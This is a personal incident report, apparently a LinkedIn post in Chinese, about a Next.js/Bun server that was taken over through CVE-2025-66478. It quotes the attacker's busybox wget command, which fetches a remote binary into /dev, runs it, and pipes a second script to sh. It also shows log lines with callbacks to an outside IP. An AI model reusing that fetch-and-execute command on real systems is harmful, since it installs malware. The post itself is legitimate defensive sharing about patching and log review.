殭屍網路真實遭遇分享 | React 安全性漏洞 | CVSS 10/10
沒想過有一天會遇到網路攻擊事件,特別記錄下來給大家參考,也做了幾張投影片讓各位快速了解。 如果你還沒更新 Next.js,記得趕緊更新;如果你是資安專家,也希望能給我一些建議 🙏
1️⃣ 起初有人提醒我網站無法連線 昨天網站一直出現 504 無法連線,我以為是老問題,結果 journalctl 打開後發現完全不對,我直接看到一串非常詭異的指令:
‘(cd /dev;busybox wget https://lnkd.in/gDNJFzwQ 777 x86;./x86 reactOnMynuts;busybox wget -q https://lnkd.in/gi43PY4V -O-|sh)’
那瞬間我心裡一涼,糟糕可能是被惡意入侵了
2️⃣ 重啟沒用,惡意行為會自動復活 我先把服務 restart 一次,結果網站沒幾分鐘就會 hang 住, log 出現以下:
- Dec 06 06:27:10 bun[749218]: ⨯ SyntaxError: Cannot use the keyword ‘function’ as a parameter name.
- Dec 06 06:27:10 bun[749218]: at Function (null)
- Dec 06 06:27:10 bun[749218]: at processTicksAndRejections (null) { digest: ‘1206194814’ }
- Dec 06 06:31:03 bun[749218]: Connecting to 193.34.213.150 (193.34.213.150:80)
代表這些東西是從我的 Web service process 裡跑出來的,很像是某段 payload 被塞進 new Function(…) / eval 之類的東西。
更可怕的是每隔幾秒就嘗試連回 193.34.213.150,重啟只是在幫 malware 重開機而已 🫠
3️⃣ 把整台機器的證據打包下來 意識到這台 EC2 已經不乾淨了… 我打算穢土轉生到新的 EC2 上,在走之前我決定先把證據帶走。
我把所有 log 打包帶走並開始用 grep 在 journal-all.log 裡分析,看攻擊是從什麼時候發生的:
- Dec 06 03:47:51 第一次看到 wget 惡意連線
- Dec 06 14:45:58 我把對方 IP 先 DROP
也算了一下次數: grep -R “wget” journal-all.log | wc -l # 2714 grep -R “193.34.213” journal-all.log | wc -l # 2720 grep -R “nuts” journal-all.log | wc -l # 2712 grep -R “bolts” journal-all.log | wc -l # 2712
也就是說,攻擊是從台灣時間 12/06 03:47 至 12/06 14:45 持續至少 約 11 小時,中間約 2712 次執行 downloader,以 log 顯示平均 每 15 秒就會跑一次左右。
這代表這次攻擊不是一瞬間,是長時間活躍我的 Bun process 裡面的殭屍 🧟
4️⃣ 找出原因,入口是 Web Server RCE 我所有 EC2 都只開 AWS SSM,22 port 長期關閉也沒有暴露 DB 等,但 log 一直顯示是在 bun process 裡被執行,所以猜測是 Web 入口被打。
我首先查看 code 有沒有 RCE 漏洞,但沒有看到明顯的原因,上網翻了一下才看到 3 天前有公布資安事件:
CVE-2025-66478 — Next.js React Flight Protocol RCE(Critical 10/10)
這個漏洞可能允許攻擊者透過 HTTP Request 打進 server-side,直接執行指令,我看到的 log 現象與公開 exploit pattern 非常相似,因此我立刻更新 Next.js 版本防範。
5️⃣總結 這次事件讓我意識只要產品上線,安全性就不是選項,而是是基本運營成本,我們花了很多時間在效能、最佳化、部屬流程,但真正讓 EC2 直接癱掉的,不是程式寫不好,而是框架級的漏洞沒跟上。
我們之後會開始做以下幾件事:
- 定期看 React/ Next 的 security advisory
- CVE 公布後 48 小時內強制 patch
這是第一次遇到,但我相信不會是最後一次🫠
如果你現在在 production 上跑的是 React / Next / Bun / Node 類的 Web server,最近幾天真的建議回頭看一下 journalctl,搞不好你也會看到一些「你沒有寫過,但看起來很認真在工作的那行指令🙂」
另外想問大家,有沒有推薦自動監控 CVE 的方式呀?
hashtag#cybersecurity hashtag#infosec hashtag#devsecops hashtag#cve hashtag#rce hashtag#reactjs hashtag#nextjs hashtag#CVE202566478